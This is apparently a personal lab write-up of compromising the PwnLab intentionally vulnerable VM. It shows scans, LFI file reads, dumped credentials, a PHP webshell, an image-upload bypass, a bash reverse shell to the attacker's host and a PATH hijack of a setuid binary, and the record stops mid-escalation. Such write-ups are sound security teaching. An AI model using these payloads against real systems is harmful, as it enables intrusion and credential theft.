1

Pwnlab 1

I've finally settled in and am back on my old machine - so first things first today I have to re-download the Kali image and setup my virtual network again. That took me about 10 minutes or so. Onto the fun stuff:

└─$ sudo nmap -nP 10.10.10.0/24
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-28 20:41 EST
Nmap scan report for 10.10.10.1
Host is up (0.00020s latency).
All 1000 scanned ports on 10.10.10.1 are filtered
MAC Address: 08:00:27:DC:72:D4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.3
Host is up (0.00028s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 08:00:27:BE:4B:47 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.4
Host is up (0.0000020s latency).
All 1000 scanned ports on 10.10.10.4 are closed
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.32 seconds
└─$ nikto --host 10.10.10.3 --port 80                                                                                                                                     130 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.3
+ Target Hostname:    10.10.10.3
+ Target Port:        80
+ Start Time:         2021-01-28 20:42:13 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Cookie PHPSESSID created without the httponly flag
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7863 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-01-28 20:43:10 (GMT-5) (57 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
└─$ curl 10.10.10.3  
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
</html>
└─$ curl 10.10.10.3/config.php 

Digging around the site as a user: 2 Surely we can just inject on this login section, get a login, upload a reverse shell, execute it from /images and we're done... I tried for quite a long time running sqlmap while also manually entering things on a browser. I tried also on the ?page= url parameter, no luck! So, I went back to what I knew - the few browser endpoints we have. I fired up Zap and started trying all the endpoints with different request methods, stripping out the PHP session, all that sort of thing. To no avail. 3 What else do we know? The server has a form and a URL parameter we can tamper with... I'm sick of the login form, so let's see if I can learn something new with the URL parameter. Searching around for php vulnerabilities with URL parameters, it obviously first depends on what that URL parameter is doing... Been a while since I wrote PHP but this is basically what I think is going on here:

<?php
  switch ($_GET['page']) {
    case "login":
        $content = "<div>Login</div>";
        break;
    case "upload":
        $content = "<div>Upload</div>";
        break;
    // If you enter random parameter the middle of the page is just blank (no content loaded)
    default:
        break;
  }
  // Inject this content into a larger template and return it...
  return $content
?>

So, we could potentially have a PHP Injection vector if the input isn't being sanitized? I tried some shit:

...
    $content = file_get_contents("login.html");

Or maybe even it's like this:

$content = file_get_contents($_GET['page']+".html");

Or this:

include($_GET['page']+".php");

I tried switching the content to the config page... no dice. It mustn't be as simple as I think. I kept playing with this...

# Request URL: 10.10.10.3/?page=login
GET /v1/pages/Chc2LjEuMTcxNS4xNDQyL2VuIChHR0xMKRIzCfSKYNf6qh5qEhENCIRn8RIEdXNlchoEdGV4dBIVDcWTxCQSBHBhc3MaCHBhc3N3b3Jk?alt=proto HTTP/1.1
# Request: GET /?page=testing HTTP/1.1
# Nothing
# Request: GET /?page=upload HTTP/1.1

What is this string... Is it base64?

$ echo "Chc2LjEuMTcxNS4xNDQyL2VuIChHR0xMKRIzCfSKYNf6qh5qEhENCIRn8RIEdXNlchoEdGV4dBIVDcWTxCQSBHBhc3MaCHBhc3N3b3Jk" | base64 --decode
œ□$↕♦passpassword (GGLL)↕3      □□`□□□▲j↕◄

Now I can't even reproduce that result? How did I even get that? I looked back in my http history in burp... it was a google autofill. Yikes, I need another coffee. I read some shit about LFI while my coffee brewed:

  • https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/
  • https://highon.coffee/blog/lfi-cheat-sheet/ The highon coffee domain just seemed way too relevant... I tried some things they have on the page. ?page=expect://ls We don't have any feedback so this one would be difficult to detect I think? Move on for now... ?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd This payload assumes a specific path - i tried it for fun but it of course didn't work. I tried a few more files that I think I know the location of:
  • ?page=php://filter/convert.base64-encode/resource=.htaccess
  • http://10.10.10.3/?page=php://filter/convert.base64-encode/resource=login We got a response on the page! 4 I don't fully understand what this filter does yet, but it's obviously returning the base64 encoding of the page, right?
$ echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==" | base64 --decode
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);
        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);
        $stmt->execute();
        $stmt->store_Result();
        if ($stmt->num_rows == 1)
        {
                $_SESSION['user'] = $luser;
                header('Location: ?page=upload');
        }
        else
        {
                echo "Login failed.";
        }
}
else
{
        ?>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        <?php
}

Oh hell yes! Now, reading this code, config.php obviously contains the SQL credentials... So i used our LFI vector to get that file:

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Easy money! Now, let's login to that wide open SQL port we saw earlier:

$ mysql -h 10.10.10.3 -u root -p 
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 3157
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.000 sec)
MySQL [(none)]> USE Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.000 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.000 sec)

Cool! We don't have an open SSH port though, so I'm just going to upload a shell and try to get something to execute it... We know we have that /images page, so let's dump a php shell there. We should be able to use the following query:

Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";

But I just realized, we don't exactly know where we are... What if we just login as one of those users and upload from there? 5

$ echo "Sld6WHVCSkpOeQ==" | base64 --decode
JWzXuBJJNy
$ echo '<?php echo shell_exec($_GET['cmd']);?>' > shell.php

6 Okay, not going to be that easy. And If I just rename it to jpg... 7 Wait, I can just read the source of this page!

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png");
                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }
                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }
                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }
                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }
                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}
?>

Okay so, I think we can just call our shell shell.php.gif, upload it, intercept the request and play with it until we don't get an error? Let's try: 8 So, adding GIF89a; to the top of the file payload produced no errors, but the file isn't displayed at /images. What could have happened?

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
# $uploadfile = ?/images/b1a99ebaad4dd28f57517de36e770484.gif
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
#  move_uploaded_file ( string $from , string $to ) : bool
# We get True back because we didn't get Error 4

I decided to upload an actual image just to see what happens: 9 10 Okay, so the image doesn't actually make it to the /images index at all but it does inject on the page...

...
	</body>
</html>
<img src="upload/e22248cd97709c7051acd7e60a3eb9a8.png"><br /></center>
...

OH, it's not going to /images it's going to /upload. Perhaps we can actually execute our old attempt afterall at /upload/b1a99ebaad4dd28f57517de36e770484.gif 11 Hmm, our proper image is loaded there but I don't see our shell. Going back in our HTTP history I don't see an image response for our shell upload so something must've caused a crash without us getting an error back. I tried uploading the working PNG, intercepting and changing the image payload to:

PNG
"><script>alert();</script>;//

This overwrote the existing image with a image that did nothing, but I think we're getting there... let's try injecting a shell here? No luck. I started searching around for how to abuse this, and found this page:

  • https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/ I decided the Hex edit path was worth trying... 12 I added four bytes to the start of the file with the JPG Magic Number FF D8 FF E0, renamed the file to shell.jpg. Now we upload this .jpg file, however it didn't work even without interception, so I failed the magic number somehow. The magic number basically just spoofs our MIME type. We got Error 2 so we failed to Spoof. So, I tried setting it as a gif MIME type with magic number 47 49 46 38. That worked! Our shell is on the /upload page as a .gif extension, but will it execute? Probably not. Maybe I'm over complicating this? I decided to try to just get code injection using the filename by editing intercepting and changing the filename as such:
Content-Disposition: form-data; name="file"; filename=");print('test');//.gif"

It worked and uploaded a file... Let's try echoing content to the page to actually test this? yeah no this doesn't actually work... Hmmm. I don't really know where else to go with this, let's go back to our LFI and try to read some more files and see if we get any more hints... Index.php

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>

Holy shit wait look at that: include($_GET['page'].".php"); Can't we just use that to load our .gif as .php?! Also:

if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}

We can just mess with this Cookie and include our gif as a php file, maybe? Let's try the first route: http://10.10.10.3/?page=uploads/03a46779cf1ed515b29e1c471efd4c0f.gif&c=whoami I uploaded the shell as .gif, and tried feeding page the path of the shell (which should load it as .php file) and then passing a command to the shell via c parameter. No dice. Maybe it's just not dumping out the output though, let's try just uploading a PHP reverse shell. Surely this is actually including our PHP file, right?

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.4/4444 0>&1'"); ?>

Hexedit to add magic number...

$ hexeditor -b nc.php

Uploaded... Started NC listener... Tried to get it to execute... no dice! Alright, let's see if we can achieve something with that lang cookie. Hilariously, the first thing I tried worked!!! Finally! I simply included the gif file by intercepting the request and editing the cookie like this: 13

$ sudo nc -lvp 4444
[sudo] password for kali: 
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.3] 53491
bash: cannot set terminal process group (486): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/var/www/html$ whoami
whoami
www-data

Alright now for the easy part, I think we already have root password?

www-data@pwnlab:/var/www/html$ su root
su root
su: must be run from a terminal
www-data@pwnlab:/var/www/html$ which python
which python
/usr/bin/python
www-data@pwnlab:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/var/www/html$ su root     
su root
Password: H4u%QJ_H99
su: Authentication failure

Damn, won't be that easy.

www-data@pwnlab:/var/www/html$ su kent
su kent
Password: JWzXuBJJNy
kent@pwnlab:/var/www/html$ cd ~
cd ~
kent@pwnlab:~$ ls -al
ls -al
total 20
drwxr-x--- 2 kent kent 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kent kent  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17  2016 .bashrc
-rw-r--r-- 1 kent kent  675 Mar 17  2016 .profile
kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found
kent@pwnlab:~$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure
kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/home/kent$ cd ~
cd ~
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh 
QVh[
[^_]
cat /home/mike/msg.txt
;*2$\"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msgmike.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
setreuid@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
setregid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
kane@pwnlab:~$ objdump -d msgmike > disassembly.asm
objdump -d msgmike > disassembly.asm
kane@pwnlab:~$ cat disassembly.asm
cat disassembly.asm
msgmike:     file format elf32-i386
Disassembly of section .init:
080482d8 <_init>:
 80482d8:	53                   	push   %ebx
 80482d9:	83 ec 08             	sub    $0x8,%esp
 80482dc:	e8 af 00 00 00       	call   8048390 <__x86.get_pc_thunk.bx>
 80482e1:	81 c3 57 14 00 00    	add    $0x1457,%ebx
 80482e7:	8b 83 fc ff ff ff    	mov    -0x4(%ebx),%eax
 80482ed:	85 c0                	test   %eax,%eax
 80482ef:	74 05                	je     80482f6 <_init+0x1e>
 80482f1:	e8 2a 00 00 00       	call   8048320 <__gmon_start__@plt>
 80482f6:	83 c4 08             	add    $0x8,%esp
 80482f9:	5b                   	pop    %ebx
 80482fa:	c3                   	ret    
Disassembly of section .plt:
08048300 <system@plt-0x10>:
 8048300:	ff 35 3c 97 04 08    	pushl  0x804973c
 8048306:	ff 25 40 97 04 08    	jmp    *0x8049740
 804830c:	00 00                	add    %al,(%eax)
	...
08048310 <system@plt>:
 8048310:	ff 25 44 97 04 08    	jmp    *0x8049744
 8048316:	68 00 00 00 00       	push   $0x0
 804831b:	e9 e0 ff ff ff       	jmp    8048300 <_init+0x28>
08048320 <__gmon_start__@plt>:
 8048320:	ff 25 48 97 04 08    	jmp    *0x8049748
 8048326:	68 08 00 00 00       	push   $0x8
 804832b:	e9 d0 ff ff ff       	jmp    8048300 <_init+0x28>
08048330 <setreuid@plt>:
 8048330:	ff 25 4c 97 04 08    	jmp    *0x804974c
 8048336:	68 10 00 00 00       	push   $0x10
 804833b:	e9 c0 ff ff ff       	jmp    8048300 <_init+0x28>
08048340 <__libc_start_main@plt>:
 8048340:	ff 25 50 97 04 08    	jmp    *0x8049750
 8048346:	68 18 00 00 00       	push   $0x18
 804834b:	e9 b0 ff ff ff       	jmp    8048300 <_init+0x28>
08048350 <setregid@plt>:
 8048350:	ff 25 54 97 04 08    	jmp    *0x8049754
 8048356:	68 20 00 00 00       	push   $0x20
 804835b:	e9 a0 ff ff ff       	jmp    8048300 <_init+0x28>
Disassembly of section .text:
08048360 <_start>:
 8048360:	31 ed                	xor    %ebp,%ebp
 8048362:	5e                   	pop    %esi
 8048363:	89 e1                	mov    %esp,%ecx
 8048365:	83 e4 f0             	and    $0xfffffff0,%esp
 8048368:	50                   	push   %eax
 8048369:	54                   	push   %esp
 804836a:	52                   	push   %edx
 804836b:	68 20 85 04 08       	push   $0x8048520
 8048370:	68 b0 84 04 08       	push   $0x80484b0
 8048375:	51                   	push   %ecx
 8048376:	56                   	push   %esi
 8048377:	68 5b 84 04 08       	push   $0x804845b
 804837c:	e8 bf ff ff ff       	call   8048340 <__libc_start_main@plt>
 8048381:	f4                   	hlt    
 8048382:	66 90                	xchg   %ax,%ax
 8048384:	66 90                	xchg   %ax,%ax
 8048386:	66 90                	xchg   %ax,%ax
 8048388:	66 90                	xchg   %ax,%ax
 804838a:	66 90                	xchg   %ax,%ax
 804838c:	66 90                	xchg   %ax,%ax
 804838e:	66 90                	xchg   %ax,%ax
08048390 <__x86.get_pc_thunk.bx>:
 8048390:	8b 1c 24             	mov    (%esp),%ebx
 8048393:	c3                   	ret    
 8048394:	66 90                	xchg   %ax,%ax
 8048396:	66 90                	xchg   %ax,%ax
 8048398:	66 90                	xchg   %ax,%ax
 804839a:	66 90                	xchg   %ax,%ax
 804839c:	66 90                	xchg   %ax,%ax
 804839e:	66 90                	xchg   %ax,%ax
080483a0 <deregister_tm_clones>:
 80483a0:	b8 63 97 04 08       	mov    $0x8049763,%eax
 80483a5:	2d 60 97 04 08       	sub    $0x8049760,%eax
 80483aa:	83 f8 06             	cmp    $0x6,%eax
 80483ad:	76 1a                	jbe    80483c9 <deregister_tm_clones+0x29>
 80483af:	b8 00 00 00 00       	mov    $0x0,%eax
 80483b4:	85 c0                	test   %eax,%eax
 80483b6:	74 11                	je     80483c9 <deregister_tm_clones+0x29>
 80483b8:	55                   	push   %ebp
 80483b9:	89 e5                	mov    %esp,%ebp
 80483bb:	83 ec 14             	sub    $0x14,%esp
 80483be:	68 60 97 04 08       	push   $0x8049760
 80483c3:	ff d0                	call   *%eax
 80483c5:	83 c4 10             	add    $0x10,%esp
 80483c8:	c9                   	leave  
 80483c9:	f3 c3                	repz ret 
 80483cb:	90                   	nop
 80483cc:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
080483d0 <register_tm_clones>:
 80483d0:	b8 60 97 04 08       	mov    $0x8049760,%eax
 80483d5:	2d 60 97 04 08       	sub    $0x8049760,%eax
 80483da:	c1 f8 02             	sar    $0x2,%eax
 80483dd:	89 c2                	mov    %eax,%edx
 80483df:	c1 ea 1f             	shr    $0x1f,%edx
 80483e2:	01 d0                	add    %edx,%eax
 80483e4:	d1 f8                	sar    %eax
 80483e6:	74 1b                	je     8048403 <register_tm_clones+0x33>
 80483e8:	ba 00 00 00 00       	mov    $0x0,%edx
 80483ed:	85 d2                	test   %edx,%edx
 80483ef:	74 12                	je     8048403 <register_tm_clones+0x33>
 80483f1:	55                   	push   %ebp
 80483f2:	89 e5                	mov    %esp,%ebp
 80483f4:	83 ec 10             	sub    $0x10,%esp
 80483f7:	50                   	push   %eax
 80483f8:	68 60 97 04 08       	push   $0x8049760
 80483fd:	ff d2                	call   *%edx
 80483ff:	83 c4 10             	add    $0x10,%esp
 8048402:	c9                   	leave  
 8048403:	f3 c3                	repz ret 
 8048405:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8048409:	8d bc 27 00 00 00 00 	lea    0x0(%edi,%eiz,1),%edi
08048410 <__do_global_dtors_aux>:
 8048410:	80 3d 60 97 04 08 00 	cmpb   $0x0,0x8049760
 8048417:	75 13                	jne    804842c <__do_global_dtors_aux+0x1c>
 8048419:	55                   	push   %ebp
 804841a:	89 e5                	mov    %esp,%ebp
 804841c:	83 ec 08             	sub    $0x8,%esp
 804841f:	e8 7c ff ff ff       	call   80483a0 <deregister_tm_clones>
 8048424:	c6 05 60 97 04 08 01 	movb   $0x1,0x8049760
 804842b:	c9                   	leave  
 804842c:	f3 c3                	repz ret 
 804842e:	66 90                	xchg   %ax,%ax
08048430 <frame_dummy>:
 8048430:	b8 48 96 04 08       	mov    $0x8049648,%eax
 8048435:	8b 10                	mov    (%eax),%edx
 8048437:	85 d2                	test   %edx,%edx
 8048439:	75 05                	jne    8048440 <frame_dummy+0x10>
 804843b:	eb 93                	jmp    80483d0 <register_tm_clones>
 804843d:	8d 76 00             	lea    0x0(%esi),%esi
 8048440:	ba 00 00 00 00       	mov    $0x0,%edx
 8048445:	85 d2                	test   %edx,%edx
 8048447:	74 f2                	je     804843b <frame_dummy+0xb>
 8048449:	55                   	push   %ebp
 804844a:	89 e5                	mov    %esp,%ebp
 804844c:	83 ec 14             	sub    $0x14,%esp
 804844f:	50                   	push   %eax
 8048450:	ff d2                	call   *%edx
 8048452:	83 c4 10             	add    $0x10,%esp
 8048455:	c9                   	leave  
 8048456:	e9 75 ff ff ff       	jmp    80483d0 <register_tm_clones>
0804845b <main>:
 804845b:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 804845f:	83 e4 f0             	and    $0xfffffff0,%esp
 8048462:	ff 71 fc             	pushl  -0x4(%ecx)
 8048465:	55                   	push   %ebp
 8048466:	89 e5                	mov    %esp,%ebp
 8048468:	51                   	push   %ecx
 8048469:	83 ec 04             	sub    $0x4,%esp
 804846c:	83 ec 08             	sub    $0x8,%esp
 804846f:	68 ea 03 00 00       	push   $0x3ea
 8048474:	68 ea 03 00 00       	push   $0x3ea
 8048479:	e8 b2 fe ff ff       	call   8048330 <setreuid@plt>
 804847e:	83 c4 10             	add    $0x10,%esp
 8048481:	83 ec 08             	sub    $0x8,%esp
 8048484:	68 ea 03 00 00       	push   $0x3ea
 8048489:	68 ea 03 00 00       	push   $0x3ea
 804848e:	e8 bd fe ff ff       	call   8048350 <setregid@plt>
 8048493:	83 c4 10             	add    $0x10,%esp
 8048496:	83 ec 0c             	sub    $0xc,%esp
 8048499:	68 40 85 04 08       	push   $0x8048540
 804849e:	e8 6d fe ff ff       	call   8048310 <system@plt>
 80484a3:	83 c4 10             	add    $0x10,%esp
 80484a6:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 80484a9:	c9                   	leave  
 80484aa:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80484ad:	c3                   	ret    
 80484ae:	66 90                	xchg   %ax,%ax
080484b0 <__libc_csu_init>:
 80484b0:	55                   	push   %ebp
 80484b1:	57                   	push   %edi
 80484b2:	31 ff                	xor    %edi,%edi
 80484b4:	56                   	push   %esi
 80484b5:	53                   	push   %ebx
 80484b6:	e8 d5 fe ff ff       	call   8048390 <__x86.get_pc_thunk.bx>
 80484bb:	81 c3 7d 12 00 00    	add    $0x127d,%ebx
 80484c1:	83 ec 1c             	sub    $0x1c,%esp
 80484c4:	8b 6c 24 30          	mov    0x30(%esp),%ebp
 80484c8:	8d b3 0c ff ff ff    	lea    -0xf4(%ebx),%esi
 80484ce:	e8 05 fe ff ff       	call   80482d8 <_init>
 80484d3:	8d 83 08 ff ff ff    	lea    -0xf8(%ebx),%eax
 80484d9:	29 c6                	sub    %eax,%esi
 80484db:	c1 fe 02             	sar    $0x2,%esi
 80484de:	85 f6                	test   %esi,%esi
 80484e0:	74 27                	je     8048509 <__libc_csu_init+0x59>
 80484e2:	8d b6 00 00 00 00    	lea    0x0(%esi),%esi
 80484e8:	8b 44 24 38          	mov    0x38(%esp),%eax
 80484ec:	89 2c 24             	mov    %ebp,(%esp)
 80484ef:	89 44 24 08          	mov    %eax,0x8(%esp)
 80484f3:	8b 44 24 34          	mov    0x34(%esp),%eax
 80484f7:	89 44 24 04          	mov    %eax,0x4(%esp)
 80484fb:	ff 94 bb 08 ff ff ff 	call   *-0xf8(%ebx,%edi,4)
 8048502:	83 c7 01             	add    $0x1,%edi
 8048505:	39 f7                	cmp    %esi,%edi
 8048507:	75 df                	jne    80484e8 <__libc_csu_init+0x38>
 8048509:	83 c4 1c             	add    $0x1c,%esp
 804850c:	5b                   	pop    %ebx
 804850d:	5e                   	pop    %esi
 804850e:	5f                   	pop    %edi
 804850f:	5d                   	pop    %ebp
 8048510:	c3                   	ret    
 8048511:	eb 0d                	jmp    8048520 <__libc_csu_fini>
 8048513:	90                   	nop
 8048514:	90                   	nop
 8048515:	90                   	nop
 8048516:	90                   	nop
 8048517:	90                   	nop
 8048518:	90                   	nop
 8048519:	90                   	nop
 804851a:	90                   	nop
 804851b:	90                   	nop
 804851c:	90                   	nop
 804851d:	90                   	nop
 804851e:	90                   	nop
 804851f:	90                   	nop
08048520 <__libc_csu_fini>:
 8048520:	f3 c3                	repz ret 
Disassembly of section .fini:
08048524 <_fini>:
 8048524:	53                   	push   %ebx
 8048525:	83 ec 08             	sub    $0x8,%esp
 8048528:	e8 63 fe ff ff       	call   8048390 <__x86.get_pc_thunk.bx>
 804852d:	81 c3 0b 12 00 00    	add    $0x120b,%ebx
 8048533:	83 c4 08             	add    $0x8,%esp
 8048536:	5b                   	pop    %ebx
 8048537:	c3                   	ret

At this point I read the assembly for a while, and realized that I can probably just make this execute my own binary as Mike?

$ echo "whoami" > cat
$ export PATH=.:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
sh: 1: cat: Permission denied

Yeah that's going to work, I think I just forgot to set executable bit...

$ chmod +x cat
$ ./msgmike
./msgmike
mike

Okay, now we can just give our selves access to his home directory:

